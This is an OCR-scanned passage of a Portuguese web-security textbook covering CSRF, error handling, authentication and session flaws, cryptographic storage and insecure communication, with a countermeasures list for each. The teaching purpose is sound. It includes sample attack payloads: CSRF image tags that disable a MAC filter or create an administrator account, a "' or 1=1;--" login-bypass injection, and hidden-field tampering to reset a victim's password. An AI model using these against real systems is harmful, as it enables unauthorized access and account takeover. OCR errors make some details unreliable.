Cenario 1: Desativagao do filtro de MAC de um AP

Este cenario é baseado em um ponto de acesso sem fio real, que utiliza uma interface
web para gerenciamento, como a grande maioria desses dispositivos. A aplicacdo em-
prega o método de autenticacao basica do protocolo HTTP e as requisicoes sao feitas
todas por meio do método POST. Uma das diversas funcionalidades apresentadas
pelo equipamento é o controle de acesso por meio do endereco MAC do cliente, que
precisa estar pré-cadastrado para conseguir conectar-se. A Figura 6.12 ilustra a in-
terface para desativacao desse servigo e o formato da requisicao gerada, quando o
administrador clica em “Apply”.

Edit Request
Filters are used to allow or deny LAN users from accessing the Internet. Intercept requests : Intercept responses : [
© IP Filters @ MAC Filters Parsed | Raw
Method URL Version
FOST |http'111 92.168.0.1:80/ady_filters_mac.cgi | ‘H'ITF'H 1
Use MAC address to allow or deny computers access to the network. =

URLEncoded | Text | Hex

8! Disabled MAC Filters ;
© Only allow computers with MAC address listed below to access the network iR At K el -
) Only deny computers with MAC address listed below to access the network Hdelrou 1
filters 1
Name racFter 0
name Insert
MAC Address - - - - - mact este
mac
mac3
DHCP Client [+][ clone rnacd
macs H
900 -
Apply Cancel Help Ac.. | cancelchanges | bortrequest | | cancelnLLi

Figura 6.12. Estrutura da requisicdo para desativacao do filtro de MAC.
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Com um teste simples, é facil constatar que a requisicao pode ser feita tam-
bém por meio do método GET. Embora isso nao seja um pré-requisito para que
um ataque de cross site request forgery aconteca, facilita muito a vida do atacante.
Observe-se, também, que, aparentemente, nao ha parametros que sejam funcao da
sessao estabelecida, o que implica que a URL para realizar a operacao segue uma
estrutura fixa. Com base nessas informagcoes todas, um ataque pode proceder da
seguinte maneira:

1. O administrador do ponto de acesso sem fio se autentica na aplicacao de ge-
renciamento, utilizando um navegador X.

2. O atacante envia um e-mail em HTML ao administrador contendo o seguinte
elemento:

<img src="http://192.168.0.1:80/adv_filters_mac.cgi?
editRow=-1&delrow=-1&filters=1&macFilter=0&name=§&
macl=&mac2=&mac3=&mac4=&machb=&mac6=" />

3. Com a aplicacao de gerenciamento ainda aberta, o administrador acessa a
conta de e-mail, usando o mesmo navegador X, e lé a mensagem maliciosa.
Quando esta é exibida, a imagem é carregada, automaticamente, e, com isso,
a requisicao para desativacao do filtro de MAC é enviada ao ponto de acesso,
juntamente com as credenciais do usuario. Como estas estao corretas, a apli-
cagao atende a solicitacao, e o ataque é finalizado com sucesso.

Cenario 2: Aplicagao vulneravel a XSS e CSRF

Uma aplicacao que seja vulneravel a ataques XSS e CSRF simultaneamente per-
mite que a exploracao combinada dos problemas seja utilizada contra ela mesma.
Imagine-se, por exemplo, uma aplicacao para administracao do controle de acesso
l6gico, com funcionalidades para criagao de contas, atribuicao de privilégios, criagao
de perfis e, também, que possibilite que usudrios enviem solicitagoes de servigos,
por meio de uma pagina do proprio sistema, susceptivel a XSS. Observe-se que,
neste cenario, dada a integracao dos moédulos, o administrador estara sempre co-
nectado, enquanto verifica os pedidos encaminhados. Um usuario malicioso pode
aproveitar-se da situagao como segue:

1. O usudrio malicioso envia uma solicitacao ao administrador e inclui, no campo
vulneravel a XSS, o seguinte elemento:

<img src="http://intranet/criaUsuario.php?id=evil&pwd=facil&
perfil=administrador">

2. O administrador abre o pedido do atacante e, automaticamente, a requisicao é
feita a aplicacao, com as credenciais do primeiro. Pelos parametros, percebe-se
que a acgao resultara na criacao de um usuario com perfil administrativo, cuja
senha é conhecida pelo atacante.
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6.5.3.3. Testes

Testes para deteccao de vulnerabilidades que permitem ataques CSRF sao realizados
manualmente e seguem o roteiro abaixo (SANS, 2008b,a):

1. Habilite um prozxy local para interceptar as requisicoes feitas a aplicacao.
2. Autentique-se no sistema e percorra as diversas areas protegidas.

3. Para cada requisicao, identifique os parametros e construa uma pagina HTML
para efetuar a mesma solicitacao.

4. Abra a pagina criada em uma nova janela e verifique se a agao foi realizada
pela aplicacao, automaticamente.

6.5.3.4. Contramedidas

Abaixo seguem as principais contramedidas contra ataques CSRF, sendo que as trés
primeiras sao aspectos de implementacao e as duas iltimas, boas praticas para os
usuarios:

1. Utilize informacoes relacionadas a cada sessao nas URLs e verifique-as, quando
uma requisicao for realizada. Isso evita que se saiba de antemao o formato da
URL, o que é necessario para montar o ataque.

2. Solicite que o usuario se reautentique, antes de realizar operagoes criticas.
Desse modo, caso uma requisigao seja feita automaticamente, como parte de
um CSRF, a operagao nao serd realizada.

3. Utilize o método POST em vez de GET. Embora isso nao seja, nem de longe,
uma solucao completa, dificulta um pouco a vida do atacante eventual.

4. Nao permita que o navegador armazene credenciais de acesso, pois elas seriam
enviadas automaticamente em um ataque desse tipo.

5. Nao utilize o mesmo navegador para acessar sistemas criticos e para navegar
na Internet.

6.5.4. Tratamento Inadequado de Erros

6.5.4.1. Descricao e Causas

Uma aplicacao que nao trata adequadamente os erros que ocorrem estd sujeita a
diversos riscos de seguranca, incluindo indisponibilidade e quebra de mecanismos
de protecao. O mais comum, entretanto, é que a situagao facilite o levantamento
de informacgoes do sistema, fundamentais para se tracar uma estratégia eficiente
de ataque. Por exemplo, se o sistema gerenciador de bancos de dados utilizado é
conhecido, nao faz sentido perder tempo, efetuando ataques que funcionam especi-
ficamente para outros SGBDs.
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Figura 6.13. Exemplos de erros.

Essas situagoes podem resultar das seguintes praticas (Howard et al., 2005):

e Fornecer muitas informagoes — caso um erro aconteca, a aplicacao da detalhes

do ocorrido, inclusive o c¢6digo ou comando que gerou o problema e, as ve-
zes, como resolvé-lo. Nesse contexto, a Figura 6.13 ilustra um servidor web
mal configurado, que revela o fabricante, em uma mensagem de erro, e uma
aplicacao que mostra o comando SQL executado, com problema de sintaxe.

Ignorar erros — os codigos de erro devolvidos pelas funcgoes sao ignorados e
fungoes dependentes sao chamadas sem que eles sejam verificados. Normal-
mente, isso causa o encerramento da aplicacao, porque uma pré-condicao para
execucao de uma rotina nao estd satisfeita.

Tratar todas as excecoes de maneira genérica — um mecanismo genérico ¢é
utilizado para o tratamento de erros, inclusive aqueles que a aplicagao nao tem
nem idéia de como lidar. Isso pode esconder problemas de légica, deixando-os
latentes, até que uma situacao especifica ocorra e resulte em uma falha.

6.5.4.2. Cenarios de Exploracao

Cenario 1: Quebrando mecanismo de autenticagao
Considere-se a aplicagao ilustrada na Figura 6.14, que permite acesso as dreas sensi-
veis, somente aos usuarios devidamente autenticados e autorizados. Observe-se que
o identificador de usudrio e senha sao enviados em dois parametros distintos, por
meio do método POST, quando o botao “Login” é clicado.

O objetivo é violar o mecanismo de autenticacao e conseguir conectar-se

a aplicacao sem conhecimento de usudario e senha vélidos. Um ponto de partida
para esse fim é o fato de que muitas aplicagoes, em situagoes de erro inesperadas,
falham e ficam em um estado inseguro. Uma abordagem, entao, é remover um dos
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Figura 6.14. Tela de autenticacao e formato da requisicao.

parametros esperados pela aplicacao, antes de submeter-lhe a requisicao, e observar
o comportamento adotado. Com esse proposito, o atacante habilita um proxy, para
interceptar e modificar a solicitagao, antes que seja enviada, conforme ilustrado na
Figura 6.15. Neste caso especifico, isso basta para um ataque bem sucedido.

B Edit Request E”El El

Intercept requests : Intercept responses : [ |
l/ Parsed | Raw
Method URL \ersion * Congratulations. You have successfully completed this lesson.
POST |ht1p:IJ‘IucaIhust:EDBDJWebGuaUatlack”Screen:d |H'ITF‘I1.1 |
— Welcomne, weboat
URLEncoded r Text r Hex D Tou have been authenticated with Fail Open Error Handling
Wariahle Walue Logout
Username waboat Insert Refresh
SUBMIT Login Delete
A.. I Cancel changes | Abort request | ‘ Cancel ALL i

Figura 6.15. Requisicao sem o parametro “Password”.

6.5.4.3. Testes

Segundo Howard et al. (2005), a melhor maneira de detectar esse problema é por
meio de inspecao de codigo, pois é dificil fazer a aplicacao falhar de maneira sistema-

tica, em todos os casos. Apesar disso, alguns erros mais comuns podem ser testados
com certa facilidade:

1. Para verificar se um servidor web exibe informacgoes de fornecedor e versao,
acesse o dominio, a partir de um navegador, e coloque como recurso desejado
um valor aleatério como em http://www.exemplo.com/fsfdsa. Se nao estiver

bem configurado, a pagina de erro padrao sera exibida, juntamente com os
dados desejados.

2. Verifique se campos de busca sao vulneraveis a injecao de SQL e, assim, se é
possivel obter informacoes das estruturas das tabelas.

265
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3. Navegue na aplicagao e veja o que ocorre, quando parametros enviados em
requisicoes sao deliberadamente removidos.

6.5.4.4. Contramedidas

O objetivo desses controles é fornecer o minimo de informacao possivel para um
usudrio malicioso e manter a aplicacao em um estado seguro, frente a situacoes
inesperadas de erro:

1. Trate todo erro que ocorrer na aplicacao e nao exiba informacoes internas como
pilhas de execucao, comandos SQL e descricao da infra-estrutura de suporte.

2. Falhe de maneira segura, isto é, se uma situacao inesperada ocorrer, mantenha-
se em um estado seguro. Por exemplo, caso um erro no processo de autenti-
cagao ocorra, proiba o acesso.

3. Nao forneca informagoes desnecessarias ao usudrio, em nome da usabilidade.
Em uma tela de autenticacao, por exemplo, independentemente do usuario
nao existir ou da senha estar incorreta, exiba a mesma mensagem de erro,
informando que as credenciais fornecidas sao invalidas.

4. Configure as plataformas da aplicacao, como bancos de dados e servidores web,
para nao fornecerem informagcoes padronizadas de erro contendo, marca,versao
do software, ou quaisquer dados de identificacao do ambiente.

6.5.5. Falhas no Gerenciamento de Autenticagcao e Sessao

6.5.5.1. Descricao e Causas

Vulnerabilidades no processo de autenticacao e no gerenciamento de sessoes permi-
tem acesso ilegitimo a aplicacao, seja pela porta da frente, por meio do fornecimento
de credenciais vélidas de outro usudrio, ou pela lateral, seqiiestrando uma sessao ja
em andamento. Em qualquer dos casos, o atacante tera acesso nao autorizado as
informacoes da vitima e podera realizar agoes em nome dela. O problema torna-se
muito mais critico, se a conta comprometida tiver privilégios administrativos (Meucci
et al., 2008; Stuttard and Pinto, 2007).

Muitas aplicagoes web submetem credenciais de acesso, por meio do protocolo
HTTP, sem protecao nenhuma. Desse modo, essas informagoes podem ser facilmente
capturadas, até chegarem ao servidor, e utilizadas para autenticar-se no sistema.
Para exemplificar, até ha bem pouco tempo atras, diversos sites de correio eletronico
funcionavam dessa maneira. Hoje em dia, isso melhorou muito, mas sao poucos os
que protegem a sessao inteira por meio do protocolo HT'TPS. Isso implica que os
identificadores de sessao podem ser obtidos pela escuta da rede, apds a autenticagao,
e usados para seqiiestrar uma sessao.

Uma das técnicas que podem ser empregadas para quebrar o mecanismo de
autenticacao € o ataque por forca bruta, isto é, testar, para um conjunto de identifica-
dores, todas as senhas possiveis, ou as presentes num dicionédrio. O ponto de partida,
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entao, é conseguir enumerar alguns usuarios da aplicacao, o que pode ser facilitado,
se sao empregados identificadores faceis de adivinhar ou contas pré-instaladas. Outra
via muito comum até este objetivo consiste em explorar mecanismos de autenticacao
que exibem mensagens diferentes para eventos de senha incorreta e usuario inexis-
tente. Basta fornecer diversos nomes de usudrio e senha e observar a resposta do
sistema. Ainda que esse primeiro passo seja dado pelo usuario malicioso, para o
ataque funcionar, a aplicagado precisa ser incapaz de travar a conta por multiplas
tentativas invalidas de autenticacao e, também, nao implementar uma politica de
senhas fortes.

Cuidados devem ser tomados para evitar que o mecanismo de autenticagao
seja ignorado. Um deslize comum, nesse sentido, é criar uma péagina de autenticagao
que, em caso de sucesso, redireciona o usudrio para areas protegidas da aplicacgao,
mas nao controla o acesso direto a essas paginas, sem passar pela tela inicial. Nesta
mesma linha, algumas aplicagoes podem ser enganadas, pela simples manipulacao de
parametros. Por exemplo, um usudrio malicioso pode trocar autenticado=nao para
autenticado=sim, em um campo escondido. Por fim, erros de légica no mecanismo
de autenticacao podem por tudo a perder.

Mecanismos de recuperacao e troca de senhas podem, muitas vezes, ser um
caminho para dentro da aplicacao. Alguns erros que devem ser evitados no primeiro
caso compreendem: utilizacao de perguntas secretas com respostas faceis de serem
adivinhadas; inexisténcia de mecanismo de travamento por tentativas invalidas; e,
exibi¢ao da senha atual, caso o usuario responda corretamente as perguntas secretas.
Ja com relagao a troca de senhas, ataques sao possiveis quando a senha antiga nao
¢ solicitada, antes da realizagao da operacao.

Vulnerabilidades envolvendo o gerenciamento de sessoes envolvem a quali-
dade e a protecao dos identificadores de sessao. Valores previsiveis permitem que
um atacante se conecte ao sistema e possa tomar a sessao de outros usuarios, sim-
plesmente, substituindo o identificador de sessao a ele atribuido por um outro valido
qualquer. A Figura 6.16 ilustra uma série de mil identificadores, com baixa alea-
toriedade, e, portanto, vulneravel. Se a aplicagao aceitar identificadores definidos
por usuarios, ataques de fixacao podem ser realizados, e o atacante nao precisa nem
descobrir valores validos.

Um problema comum no procedimento de encerramento de sessao é nao inva-
lidar o identificador de sessao no lado do servidor. Muitas vezes, a aplicacao apenas
redireciona o usuario para uma pagina externa a area protegida, mas a sessao con-
tinua ativa. Nesse caso, requisicoes realizadas com o identificador continuam a ser
atendidas pelo sistema.

6.5.5.2. Cenarios de Exploracao

Cenario 1: Mecanismo de autenticacao com erro de légica

Um sistema possui uma tela de autenticacao, contendo campos para identificador de
usuario e senha, e envia essas informacoes ao servidor por meio do protocolo HTTPS.
As credenciais, ao serem recebidas pelo servidor, sao conferidas pelo seguinte trecho
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Figura 6.16. Identificadores de sessao com baixa aleatoriedade. Amostra de mil valores.

de pseudo-codigo:

sComando = "select count(*) into :nCount
from usuarios
where id = ’" + sIdentificador + "’ and

senha = ’" + sSenha + "’";

SqlExecute(hSql, sComando);

if (nCount > 0) print("Usuario autenticado");

O mecanismo pode ser quebrado da seguinte maneira:

1. Usuario malicioso digita o caractere “’” no campo de usuario e descobre que a
aplicacao é vulneravel a injecao de SQL.

2. O atacante fornece o valor “’> or 1=1;--" para o campo usuario e um valor
qualquer para a senha.

3. A aplicagado executa a consulta:

select count(*) into :nCount
from usuarios
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where id = ’’ or 1=1;--’ and
senha = ’qualquervalor’;

Como a expressao “1=1" é uma tautologia, o where é avaliado como verda-
deiro para todas as tuplas da tabela e a quantidade delas serd armazenada em
nCount. Devido a construcao do if, a aplicagao autentica o usuario, mesmo
sem ele saber a senha correta.

Cenario 2: Troca de senha sem autenticagao

Este cenario consiste de uma aplicacao que nao solicita a senha atual para realizar
a troca de senhas. Por motivos de seguranca, a tela para efetuar essa operacao é
acessivel somente a usudrios autenticados e solicita que o usudrio digite a nova senha
duas vezes. A requisicao é enviada pelo método POST e o identificador do usudrio
atual, em um campo escondido do formulario. Os passos para explorar essa situagao
sao simples:

1. Usuario malicioso habilita um proxy local, para interceptar as requisig¢oes para
a aplicacao.

2. Ele se autentica na aplicacao e, em seguida, acessa a pagina para troca de
senhas, residente na area protegida.

3. O atacante digita duas vezes a mesma senha e envia a requisi¢ao, que ¢ inter-
ceptada pelo prory. Basta, agora, alterar o valor do campo escondido para o
identificador da vitima, que a senha dela sera trocada pela escolhida.

6.5.5.3. Testes

Os seguintes testes devem ser aplicados sobre os mecanismos de autenticacao e ge-
renciamento de sessoes:

1. Utilize um prozy local para verificar se as requisicoes de autenticacao sao
enviadas por meio do protocolo HT'TPS. Pode ocorrer da tela em que sao
colhidas as credenciais ser fornecida por HT'TP, mas a requisicao ser enviada
pela versao protegida do protocolo, ou vice-versa.

2. Com uma conta valida, altere a senha algumas vezes para verificar se a apli-
cacao implementa comprimento minimo, complexidade e historico.

3. Utilize ferramentas automatizadas para encontrar contas padronizadas na apli-
cacao e nas plataformas de suporte.

4. Verifique se as mensagens de erro para conta invalida e senha incorreta sao as
mesmas.

5. Realize teste de forca bruta contra o mecanismo de autenticacao.
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. Verifique se a tela de autenticagao é vulneravel a injecao de SQL. Em caso

positivo, procure efetivar o ataque para averiguar se é possivel enganar o me-
canismo de autenticacao.

Anote URLs de paginas acessiveis somente a usuarios autenticados, encerre a
sessao e tente acessd-las diretamente.

Procure por parametros que possam indicar se um usuario esta ou nao auten-
ticado e, se exitirem, adultere o valor para “sim”.

Analise 0 mecanismo de recuperacao de senhas e verifique a dificuldade de
deduzir as respostas das perguntas secretas. Tente um ataque de for¢a bruta
contra elas para constatar a existéncia de mecanismos de travamento.

Utilize um prozxy local para obter o identificador da sessao atual, desconecte-se
da aplicacao e realize uma requisicao, utilizando o identificador obtido.

Por meio de um prozy local, verifique se os atributos secure e HttpOnly sao
utilizados na protecao de cookies.

Utilize um analisador estatistico para verificar a aleatoriedade dos identifica-
dores de sessao fornecidos pela aplicagao.

Intercepte uma requisicao com um prozy local e troque o valor do identificador
de sessao para outro qualquer. Verifique se a resposta contém o valor fixado.

6.5.5.4. Contramedidas

Para obter mecanismos de autenticacao e de gerenciamento de sessoes robustos, é
necessario observar diversos pontos importantes (Meucci et al., 2008; Stuttard and
Pinto, 2007):

Desabilite contas pré-definidas da aplicacao e das plataformas que a suportam,
como bancos de dados, servidores web, sistemas operacionais, etc.

Implemente na aplicagao politicas de senhas fortes que considerem tamanho
minimo, complexidade, troca periodica, histérico e travamento por multiplas
tentativas invalidas de autenticagao.

Sempre transmita credenciais de acesso e identificadores de sessoes autentica-
das por tuneis protegidos criptograficamente.

Nao confie em parametros acessiveis aos usuarios, para decidir se estao ou nao
autenticados.

Sempre antes de atender a uma requisicao a um recurso protegido, verifique
se o usuario estd autenticado e possui os devidos privilégios.
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6. Em mecanismos de recuperacao de senhas, empregue perguntas secretas, cujas
respostas nao sejam facilmente dedutiveis. Limite o niimero de tentativas para
acerto das questoes, para evitar ataques de forca bruta. Em caso de sucesso,
envie uma mensagem automatica para o endereco de e-mail pré-cadastrado,
contendo um link para uma pagina efémera individualizada, na qual nova
senha pode ser definida.

7. Exija sempre o fornecimento da senha atual para efetuar a troca de senha de
um usuario.

8. Nao crie esquemas de gerenciamento de sessoes proprios. Utilize os fornecidos
pelas linguagens utilizadas no desenvolvimento da aplicagao.

9. Certifique-se de que os identificadores de sessao utilizados possuem boa alea-
toriedade.

10. Nunca aceite identificadores de sessao definidos pelo usuéario. Caso isso ocorra,
envie resposta com um novo valor.

11. Utilize os atributos secure e HttpOnly, em cookies, para protege-los durante
a transmissao e contra acessos de codigos no lado do cliente.

12. Encerre as sessoes, automaticamente, apos um determinado periodo de ociosi-
dade.

13. Quando o usuario se desconectar da aplicacao, invalide o identificador de sessao
associado a ele, no lado do servidor. Para isso, a funcao especifica do modelo
de gerenciamento de sessoes empregado deve ser chamada.

6.5.6. Armazenamento Criptografico Inseguro

6.5.6.1. Descricao e Causas

A criptografia moderna fornece um conjunto de técnicas matematicas e computacio-
nais para atender a diversos dos requisitos de seguranca da informacao. Atualmente,
ela esta presente no nosso dia-a-dia de maneira profusa, em protocolos de comuni-
cagao, caixas eletronicos, protecao de software e de contetido, urnas eletronicas e
TV digital, entre outros exemplos. Infelizmente, porém, a implantagao de mecanis-
mos criptograficos requer diversos cuidados, que, muitas vezes, nao sao observados
e comprometem a seguranca da solu¢ao como um todo.

E relativamente comum, por exemplo, encontrar sistemas que apenas se pre-
ocupam em proteger as informagoes em transito e que se esquecem (ou ignoram) de
protege-las durante o armazenamento. Nesse caso, uma vulnerabilidade no servidor
pode ser suficiente para recuperar as informacoes, que estao em claro no disco. O
usuario malicioso, obviamente, nao se esforcara para quebrar a criptografia utilizada
na protecao do canal de comunicagao.

Por outro lado, quando existe a preocupacao em cifrar dados sigilosos, a maior
vulnerabilidade encontrada é com relagao a protecao das chaves criptograficas utili-
zadas. Normalmente, os desenvolvedores as embutem no cédigo, achando que, uma
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vez compilados os programas, sera dificil que alguém as recupere. Este pensamento,
muito comum, infelizmente, estd equivocado. Por exemplo, se a chave foi colocada
como uma cadeia de caracteres, basta utilizar um comando como o strings do Li-
nux, para encontrar a informagao desejada. Caso a chave seja ofuscada, técnicas de
depuragao do programa podem ser empregadas, chegando-se ao mesmo resultado.

Mesmo que fosse impossivel descobrir a chave, por meio da anélise do binério,
tal pratica fere os preceitos de gerenciamento de chaves criptograficas. O motivo é
que a chave teria criptoperiodo infinito, isto é, ela nunca expiraria, salvo se novo
binario fosse gerado, com substituicao da chave. Note-se que o objetivo de definir
um tempo maximo para o uso de uma chave é limitar: a quantidade de texto cifrado
para criptoandlise; o montante de informacao em caso de comprometimento; o uso
do algoritmo ao tempo de vida esperado; o tempo disponivel para ataques de forca
bruta (Menezes et al., 2001).

Pensando no ciclo de vida das chaves criptograficas, um ponto que merece,
mas nao recebe, bastante atencao é a fase de criacao, que deve empregar métodos
que garantam um bom nivel de aleatoriedade. Nao é incomum encontrar programas
que baseiam a geracao de chaves em fungoes como rand(), na linguagem C, e em
classes como Random(), em Java. Ou, pior ainda, empregam cadeias fixas como
“01234567...7, “000000...” e “ftffff...”, as quais, dada a freqiiéncia com que aparecem,
sao candidatas naturais a serem testadas.

Muitas empresas utilizam cifras caseiras ou classicas na protegao de informa-
¢oes valiosas, conforme constatado em diversas auditorias e andlises de vulnerabili-
dades realizadas pelos autores. Na grande maioria dos casos, empregavam-se cifras
de substituicao monoalfabética com chaves fixas como parte da transformacgao. Em
outros, as informagoes eram apenas codificadas em BASE64. Nao é nem necessa-
rio dizer que todas essas solucoes fornecem um nivel de seguranca quase nulo. Um
pouco melhor, mas ainda problematico face ao valor das informacoes protegidas, é
o uso de DES simples, contra o qual ataques de for¢a bruta sao vidveis a um custo
relativamente baixo.

Aspectos mais sutis, com relacao ao armazenamento seguro de informagoes,
estao relacionados com detalhes de desenvolvimento da solucao. Por exemplo, se
as posigoes de memoria contendo chaves criptograficas nao forem zeradas antes de
liberadas, ou se essas mesmas regioes forem para disco, no processo de swap do
sistema operacional, acesso nao autorizado as chaves podera ocorrer.

6.5.6.2. Cenarios de Exploracao
Cenario 1: Recuperando chaves embutidas

Nesse cenario, um programador embute a chave criptografica diretamente no codigo
do programa, conforme ilustrado a seguir:

#include <stdio.h>

int main() {
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char key[] = "0a3bc178940fd43047027cda807409af";

printf ("Cifrando dados. Aguarde...\n");

O programa ¢é compilado, gerando o bindrio cifra, e, por essa razao, o de-
senvolvedor julga que a chave estd protegida de acessos ilegitimos. O usudrio mal
intencionado, ao obter o programa, executa imediatamente o comando strings do
Linux sobre o binario, gerando a saida:

/1ib/1d-linux.so0.2
#IB
__gmon_start__
libc.so0.6
_I0_stdin_used
puts
__libc_start_main
GLIBC_2.0

PTRh

0a3b

cl78

940f

d430

4702

Tcda

8074

09af

[~_]

Cifrando dados. Aguarde...

Pronto! A chave aparece na lista de cadeia de caracteres do programa, agru-
pada de quatro em quatro digitos hexadecimais.

Cenario 2: Protecao de dados com primitiva inadequada

Uma aplicagao utiliza senhas de quatro digitos numéricos para autenticar os usuérios
e, para evitar ataque de forca bruta, trava a conta a cada trés tentativas malsucedidas
e consecutivas de autenticacao. Seguindo o modelo de ambientes Unix, somente os
hashes das senhas sao armazenados e, com isso, deseja-se prover o sigilo delas
gracas a propriedade de resisténcia da pré-imagem, apresentada por funcoes de hash
criptogréficas. A solucao, nesse caso especifico, nao é adequada, pois pode ser violada
da seguinte maneira:
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1. O atacante obtém o arquivo contendo os pares (usudrio, senha) e, pelo tamanho
do hash, seleciona algumas fungoes candidatas.

2. Para cada uma das funcgoes candidatas, ele gera uma tabela contendo senha e
valor hash, para todas as dez mil senhas possiveis (quatro digitos, dez possi-
bilidades por posigao).

3. O usudrio malicioso cruza, entao, o arquivo de senhas com as diversas tabelas
9 9 )
por meio do campo hash, e a correta sera aquela que possuir todos os valores.

O grande problema nesse cenario ¢ que o dominio de entrada ¢ muito pequeno,
com apenas dez mil elementos. Assim, mesmo que salts fossem empregados, ainda
seria possivel derrotar o mecanismo, em um tempo factivel.

6.5.6.3. Testes

A melhor maneira de verificar a qualidade das solucoes criptograficas adotadas por
uma aplicacao ¢ por meio da revisao de codigo, pois, assim, todos os detalhes de
implementacao podem ser avaliados. Testes caixa-preta devem ser efetuados para
se encontrar problemas obvios:

1. Execute o comando strings do Linux sobre os arquivos bindrios da aplicacao
e verifique a presenga de chaves embutidas.

2. Analise todos os arquivos de configuracao da aplicacao e verifique se nao pos-
suem chaves criptograficas em claro.

3. Colete amostras de material cifrado pela aplicagao e procure por padroes que
indiquem o uso de cifras de substituicao por caractere ou o emprego de esque-
mas de codificacao.

4. Se fungoes de hash criptograficas forem utilizadas na protecao de senhas, ve-
rifique se a cardinalidade do dominio de entrada nao é pequena, permitindo
ataques de dicionario.

6.5.6.4. Contramedidas

Um armazenamento seguro de informacoes requer a selecao adequada de criptossis-
temas, o gerenciamento das chaves criptograficas utilizadas e o zelo adequado com a
manipulacao de chaves pelos programas (Howard et al., 2005; Meucci et al., 2008):

1. Classifique as informacoes e cifre aquelas que necessitam satisfazer o requisito
de confidencialidade.

2. Se nao for necessario, nao armazene dados sensiveis, apds serem processados,
evitando, assim, ter de protege-los. Um exemplo disso é o pagamento com
cartoes, que necessita do nimero de conta, até a transacao passar pelo processo
de autorizacao; apds isso, ele pode, geralmente, ser descartado (PCI, 2009a,b).
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3. Crie e utilize processos e procedimentos para gerenciamento de chaves cripto-
graficas, para que estas sejam protegidas durante todo o ciclo de vida, que vai
da criagao a destruicao (Menezes et al., 2001; PCI, 2009a,b).

4. Nao crie seus proprios algoritmos e protocolos criptograficos, pois, mesmo
quando escritos por criptélogos de primeira linha, eventualmente, apresentam
vulnerabilidades (Knudsen, 2005; Pramstaller et al., 2005).

5. Nao utilize algoritmos criptograficos com fraquezas conhecidas, como DES,
MD5 (Wang and Yu, 2005) e SHA-1 (Wang and Lisa, 2005). Embora este
ultimo ainda nao tenha sido completamente quebrado, ja teve a seguranca
tedrica reduzida consideravelmente.

6. Utilize bons geradores de niimeros pseudo-aleatorios para a criacao de chaves.
Logo, nunca utilize com esse propésito fungoes como rand() da linguagem C,
por exemplo.

7. Considere realizar as operagoes criptograficas e armazenar as chaves relacio-
nadas, em hardware seguro, quando os dados protegidos forem extremamente
sensiveis. Parta da maxima de que “Software nao pode proteger a si préprio”
(Howard et al., 2005).

8. Se nao for possivel proteger chaves por meio de hardware seguro, utilize pro-
tocolos de partilha de segredos com vérios custodiantes.

9. Limpe a memoéria alocada para chaves criptograficas antes de libera-la para o
sistema operacional.

10. Nunca embuta chaves criptograficas e senhas no cédigo do programa, pois sao
facilmente recuperaveis. Dependendo de como estiverem, basta um comando
para realizar a tarefa.

11. Marque as paginas de memoria, contendo chaves criptograficas, como inelegi-
veis para swap.

6.5.7. Comunicagao Insegura

6.5.7.1. Descrigao e Causas

Comunicacao segura de rede ocorre quando os seguintes requisitos de segurancga da
informacao sao satisfeitos (Howard et al., 2005; Stallings, 2005):

e Autenticacao de entidades — as identidades das partes envolvidas na comunica-
¢ao sao corroboradas. Isto é importante para certificar-se de que a conversagao
ocorre com a entidade correta, ainda mais que ataques de redirecionamento
sao relativamente comuns.

e Autenticacao da origem da mensagem — corroboragao de identidade do reme-
tente da mensagem, para evitar falsificacao de dados.
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e Integridade — informagoes enviadas nao sao adulteradas em transito. Afinal,
ninguém quer que a conta destino de uma transferéncia bancaria seja alterada
para a de um atacante.

e Confidencialidade — informagoes transportadas pelo canal nao sao reveladas a
terceiros que nao sejam parte da comunicacao. Por exemplo, senhas e niimeros
de cartao de crédito devem ser conhecidos apenas pelas partes autorizadas.

Em aplicagoes web, esses requisitos sao atendidos, normalmente, pelo uso
dos protocolos SSL e TLS, para transporte de dados HTTP, os quais realizam um
6timo trabalho, quando implantados corretamente. Infelizmente, na pratica, servi-
dores nao sao corretamente configurados, do ponto de vista de seguranca, e clientes
de acesso personalizados nao implementam algumas sutilezas desses protocolos ade-
quadamente. O resultado disso é que a violagao dos requisitos supracitados torna-se
completamente factivel. Para piorar ainda mais a situacao, ainda ha os que acre-
ditam que o uso de HTTPS, por si s0, é suficiente para tornar uma aplicacao web
segural

Do lado do servidor, um problema muito comum ocorre com o certificado digi-
tal utilizado na configuragao do tinel SSL/TLS. Intimeros sao os casos de aplicagoes
que empregam certificados auto-assinados, expirados ou emitidos por autoridades
certificadoras caseiras, das quais os navegadores e sistemas clientes nao possuem
a chave publica autentica, para validacao de assinatura. Em qualquer um desses
casos, uma mensagem de erro, como a ilustrada pela Figura 6.17, é exibida ao usua-
rio. Como o objetivo deste é sempre utilizar o sistema, provavelmente, ele ignorara
o alerta e continuard o acesso, ainda mais impulsionado pelo hébito criado pela
aplicacao. Posteriormente, se ele for vitima de um ataque de phishing ou de re-
direcionamento, a tela de aviso aparecera igualmente e a pessoa prosseguira como
acostumada.

Outro problema resultante de ma configuragao é o suporte a suites cripto-
graficas fracas e a versoes antigas do protocolo SSL. Existem algumas suites para
testes, que eram habilitadas por padrao em sistemas antigos, as quais nao utilizam
cifras para proteger a confidencialidade das informacoes trafegadas. Outras, por sua
vez, cifram o canal, mas com algoritmos datados ou de exportacao, que podem ser
quebrados por forca bruta. J4 no caso de SSL 2.0, é possivel forcar a escolha de
algoritmos, por meio da adulteragao do handshake, e, também, excluir bytes no final
de cada mensagem, sem ser detectado, dada uma falha na geracao do MAC.

Um ponto que nunca recebe a atencao que merece é a protecao da chave
privada utilizada por esses protocolos. Em ambientes tipicos, ela é protegida por
uma senha, a qual é embutida em scripts de inicializagao do servidor, para que
seja carregada automaticamente neste instante. Além disso, normalmente, nao ha
restri¢oes quanto a leitura desses arquivos, o que permite que qualquer usudrio acesse
a chave privada, apds inspecao da senha utilizada. Embora essa abordagem seja
melhor, em termos operacionais, é péssima para seguranca. Uma vez conseguidos
a chave privada e certificado de uma aplicacao web, fica muito facil personifica-la
de maneira perfeita, pois nenhum navegador ird reclamar de nao ter conseguido
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esta com a validade vencida.
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(Codigo do erro: sec_error_expired_issuer_certificate)
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m Se vocé ja conectou-se com éxito a este servidor, o erro pode ser temporario e
vocé pode tentar de novo mais tarde.

Ou vecé pode adicicnar uma excegdo..,

Concluido

Figura 6.17. Erro na validacao do certificado.

completar o handshake SSL/TLS.

Para finalizar o lado da aplicagao, algumas delas protegem o transporte de
informacoes sigilosas, por meio do protocolo HT'TPS, configurando-o perfeitamente,
com suites criptograficas fortes e certificado digital valido. Nao obstante, permitem
